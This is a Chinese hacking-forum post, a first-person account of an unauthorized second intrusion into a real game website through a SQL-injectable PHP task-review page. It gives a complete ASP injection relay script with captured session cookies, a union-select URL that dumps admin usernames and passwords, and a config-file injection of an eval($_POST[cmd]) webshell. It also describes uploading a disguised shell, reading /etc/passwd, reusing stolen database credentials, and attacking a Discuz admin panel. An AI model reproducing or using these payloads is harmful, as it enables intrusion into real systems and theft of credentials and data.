http://www.wolfexp.net/forum/viewthread.php?tid=6446&extra=page%3D1
文章出处:C.R.S.T 作者:消失再消失 blog:www.hackerchina.cn PS:本文是入侵后整理思路时回忆性的文章 转载请注明出处 在这次入侵之前我已经拿到过一次这个网站的shell了,但是被删除了,由于不甘心又拿了一次,才有了下面的过程 一: 踩点 收集信息 因为这个已经是第二次入侵,所以具体的信息我已经基本上掌握 服务器上13个站点,大多数站点很安全,因为第一渗透的时候,是由 http://www.shanXXX.XX 这个站进入的 我这个人比较恋旧,所以第二次也决定由这个站点进行入侵, 由后台看出这个站的程序是RAICO_V1[1].2_CS 如图1  直接从网上down下来,读代码,当然这里的php代码 本人是非常的菜鸟,感谢我的好友jackal,他的脚本是相当的强悍,呵呵 二: 漏洞在哪里?它在灯火阑珊处 这个程序的漏洞文件是在post_task_review.php 由于过滤不严格导致注入,下面我会在文章中详细说明如何利用, 首先在shan这个站注册个用户 并抓取登陆的cookie值,在到本地或者webshell上建立一个注入中转站的文件
内容如下 <% JmdcwName=request("id") ' 注入中转站 POST 版,BY 寂寞的刺猬 [L.S.T] JmStr="task_subject=111&task_endday=1&task_starttime=2008-06-13+05%3A25%3A30&task_money=1&task_desc=1&addsubmit=%D4%A4%C0%C0&kind_id="&JmdcwName JMUrl="http://www.shanXXX.XX/post_task_review.php" JmRef="http://www.shanXXX.XX/post_task.php" JmCok="__utma=213560918.3117244849183171600.1213283730.1213293786.1213305387.4; __utmz=213560918.1213283730.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=213560918.21.10.1213305387; __utmc=213560918; PHPSESSID=96b20d4edfe8477cf276aa639bfc31d3" JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "POST",PostUrl,False .SetRequestHeader "Content-Length",Len(PostStr) .SetRequestHeader "Content-Type","application/x-www-form-urlencoded" .SetRequestHeader "Referer",PostRef .SetRequestHeader "Cookie",PostCok .Send PostStr PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) strReturn="" Dim i For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 URLEncoding=strReturn End Function %> 之后浏览地址为http://localhost/jmpost.asp?id=1107%20and%201=2%20union%20select%20-1,concat(admin_name,admin_pw)%20from%20rco_admin/* 就可以直接爆出管理员的用户名和密码 如图2  三: 获取webshell 拿到目标站的路径. 登陆后台 ,只能上传图片,抓包上传,截断 ,未能实现. 但是后台的配置那可以插一句话 a'";@eval($_POST[cmd]);// 写进去本来是site="a\'\";@eval" 但是过滤了' 就成了site="a\\";@eval;//" 这样成功的闭合了前面的双引,把后面的双引注释掉了.中间的;@eval($_POST[cmd]);就可以执行了. 把a'";@eval($_POST[cmd]);// 写进去就保存到一个文件里了. 这个文件被所有的文件包含. 所以我们直接同一句话连接端连接网站的任何一个文件都可以获得webshell. 如图   
直接传php没传上去,所以把php马改成jpg格式的,之后在一句话连接端中修改成php的 顺利拿到webshell如图 ,linux的服务器 执行 cat /etc/password 获得目标站的路径,如图6  直接跳转到目标站的目录, 全是0644,尝试过提权 但是反弹不了,后来才知道是服务器连不上网. 搞到这里,应该是大功告成了,传马,ok! 四:意外情况,不是意外收获. 上传木马成功,惊喜之余,去访问shell地址, 错误 Not Found. 经验告诉我,可能是换了服务器,因为这样的游戏站基本上都是变态,被搞一次,安全性就加大N倍,很黄,很强大. ping 了下ip 发现真的换了服务器. 五:峰回路转 不过还是用的原来的程序,这里我就想了,程序都没换,数据库也应该没换吧, 找到原来服务器的数据库连接文件,查看到数据库的密码 如图7  连接,之前通过目录看到这个站有个论坛,数据库里也有bbs member这个表, 是否可以通过这个获取新服务器的webshell呢?
查看 如图8 
通过程序访问地址 XXX.XXX.XXX/bbs/index.php 我靠 是dz6.0 不过还好,以前看过好象是可以拿webshell 登陆,成功 如图  进入后台 找到模板编辑语言包,但是它竟然提示没有权限.... 如图  到此 我的入侵就告于段落了,因为目前为止好象还没有其他办法获取dz6.0的webshell.... 这次渗透有点迂回,虽然没有达到最后的目的,但是还是有一些经验可以供大家参考的 再次感谢我的好友jackal!
|